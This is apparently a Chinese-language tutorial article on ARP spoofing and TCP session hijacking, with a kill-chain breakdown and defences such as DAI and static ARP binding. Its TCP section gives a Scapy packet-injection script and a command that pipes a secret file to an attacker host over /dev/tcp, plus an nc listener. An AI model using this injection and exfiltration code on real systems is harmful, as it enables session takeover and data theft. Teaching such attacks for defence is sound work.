典型网络攻击分析:ARP欺骗与TCP劫持

校园网里,小王发现自己上网异常缓慢,访问任何网站都会弹出一个奇怪的钓鱼页面。公司内网中,管理员发现本该机密的财务报表出现在了竞争对手手中,而所有日志都显示数据是从合法会话中流出的。

在网络安全领域,真正的危险往往不来自花哨的漏洞利用,而是源于那些我们每天依赖、却对其安全性习以为常的基础协议。ARP与TCP,这两个构成互联网数据传输基石的协议,因其设计之初对"信任"的朴素假设,成为了攻击者最锋利的隐形匕首。

01 ARP欺骗

ARP技术原理

  • ARP是地址解析协议。
  • ARP协议能够解析各种物理地址。
  • ARP协议能够为多种上层协议提供服务(IP,IPX等)
  • ARP的请求是广播,ARP回答是单播。广播是比较消耗资源的。
  • ARP协议往往被认为是安全的隐患。
ARP请求
ARP回答

ARP欺骗原理和步骤

ARP欺骗:利用ARP协议漏洞,发送欺骗报文,修改目标主机的ARP表,使得目标主机给其他主机的报文发送到自己这里(重定向)
步骤一:

步骤二:

步骤三:

02 用CKC模型解剖一次校园网ARP欺骗

网络杀伤链(CKC)模型为我们提供了结构化理解此类攻击的绝佳视角。一次典型的校园网ARP欺骗攻击,可被清晰分解为五个阶段:

第一阶段:侦察追踪

攻击者在宿舍使用 arp-scan 工具安静地扫描整个网段。几秒钟内,他就掌握了目标同学电脑的IP(192.168.5.23)、真实的网关IP(192.168.5.1)及其MAC地址,并关键地发现目标没有启用任何ARP防火墙或静态绑定。这为他后续的攻击亮了绿灯。

第二阶段:武器构建

攻击者打开Kali Linux中的 arpspoof 工具。他不需要编写复杂代码,只需输入一行命令,配置好伪装成网关的IP自己网卡的MAC地址,一个定制化的"协议武器"就已就绪。

第三阶段:载荷投递

攻击程序开始以固定间隔(如每秒一次)向目标主机发送精心构造的ARP响应包。这些数据包在网络中看起来平平无奇,却承载着篡改网络路径的恶意指令。

第四阶段:漏洞利用

目标主机的网络协议栈毫无戒备地处理了这些伪造包,由于ARP协议没有验证机制,它忠实地用攻击者的MAC地址覆盖了缓存中网关的正确条目。至此,协议的"信任"设计缺陷被成功转化为攻击者的"访问控制权"

第五阶段:目标达成

所有发往外部网络的流量(网页浏览、登录请求)都流经攻击者的机器。他可以轻松进行中间人攻击:窃取明文传输的密码、篡改网页内容插入恶意代码,或仅仅进行流量嗅探分析行为。

03 防御之道

防御ARP欺骗的核心思路,是为朴素的协议增添"验证"环节,打破其无条件信任的假设。

最根本的防御是部署网络层控制 。企业级交换机可以开启DAI(动态ARP检测) 功能。交换机会维护一张通过DHCP Snooping学习到的合法IP-MAC绑定表,任何与这张表不符的ARP包都会被直接丢弃,将欺骗扼杀在源头。

对于无法控制网络设备的环境(如家庭、宿舍),主机端防御至关重要 。可以设置静态ARP条目 ,手动将关键IP(如网关)与正确的MAC地址永久绑定,命令类似:arp -s 192.168.5.1 00-11-22-33-44-55。这就像把重要联系人的电话直接存进通讯录,不再理会陌生来电。

此外,部署能实时监控ARP缓存异常的安全软件也极为有效。这类工具会持续检查,一旦发现同一IP对应多个MAC地址(如网关MAC突然改变),或本机ARP表异常频繁更新,就会立即告警并阻断,仿佛一个警觉的"协议哨兵"。

04 TCP会话劫持

如果说ARP欺骗是篡改通信的"地址簿",那么TCP会话劫持则是在一场正在进行的加密对话中完美地插入一句话,而对话双方浑然不觉。

TCP协议通过序列号 来保证数据包的可靠、有序传输。每个字节都有一个唯一序列号,接收方通过确认序列号来告知对方"我接下来要哪个字节"。会话劫持攻击的核心,就是精确预测出接收方"下一个期望的序列号",然后伪造一个数据包,让这个假包恰好拥有对方期待的序列号,从而被当作合法数据接受。

攻击场景通常发生在Telnet、rlogin等明文管理协议某些缺乏足够随机性的加密会话初期。攻击者通过嗅探网络流量,可以观察到客户端与服务器之间TCP包的序列号增长规律。现代操作系统使用的序列号随机化已大大增加了预测难度,但在某些特定条件下(如初始序列号生成算法较弱、攻击者能计算时间差等),风险依然存在。

05 实施一次TCP劫持

想象攻击者要窃取服务器上一个名为 secret 的文件,而管理员正通过Telnet连接在服务器上工作。

第一步:会话监听与参数窃取

攻击者使用工具(如Wireshark)监听流量,过滤出目标Telnet会话(目的端口23)。他需要窃取构成会话唯一标识的 "四元组" :源IP、源端口、目的IP、目的端口,以及最关键的当前序列号和确认号

第二步:恶意载荷构造

攻击者需要构造的恶意命令是:cat /home/secret > /dev/tcp/攻击者IP/9090。这条命令会将文件内容发送到攻击者监听的9090端口。由于Telnet传输的是击键信息,他需要在命令前后加上回车符(\r)来模拟执行。

第三步:伪造报文与发送

攻击者使用如Scapy 这样的强大工具来手工构造数据包。他需要精确填充IP和TCP头部信息,特别是将TCP标志位设置为 PSH+ACK(推送数据并确认),并将预测或计算出的下一个序列号填入。

python 复制代码
from scapy.all import *
# 假设通过监听已获得所有必要参数
ip = IP(src="客户端IP", dst="服务器IP")
tcp = TCP(sport=源端口, dport=23, flags="PA", seq=预测的序列号, ack=当前的确认号)
data = "\r cat /home/secret > /dev/tcp/10.0.2.70/9090 \r" # 恶意命令
pkt = ip/tcp/data
send(pkt, verbose=0)

第四步:结果接收

在攻击者的机器上,他早已运行 nc -lv 9090 监听端口。当伪造的TCP包被服务器接受并执行后,机密文件的内容就会通过网络,悄无声息地流入攻击者的终端。

相关推荐
VekiSon2 小时前
Linux网络编程——网络数据封装与 HTTP 协议
网络·网络协议·http
2501_938810112 小时前
动态IP与短效IP的关系
服务器·网络协议·tcp/ip
东东的脑洞2 小时前
【面试突击】深入理解 TCP 三次握手与 HTTP 协议演进
tcp/ip·http·面试
一RTOS一2 小时前
我国工业通信自主化突破催生“亿级”市场,筑牢新型工业化安全与发展基石
安全·鸿道操作系统·鸿道实时操作系统·国产嵌入式操作系统选型
ベadvance courageouslyミ2 小时前
网络编程(三)HTTP
网络·网络协议·http
微爱帮监所写信寄信2 小时前
HTTPS技术架构与微爱帮监狱写信寄信小程序EV证书深度解析
网络协议·http·https·监狱寄信·微爱帮
A13247053122 小时前
进程管理入门:查看和控制Linux进程
linux·运维·服务器·网络·chrome·github
步步为营DotNet3 小时前
深度解析.NET中HttpClient的连接管理机制:优化网络请求性能
网络·.net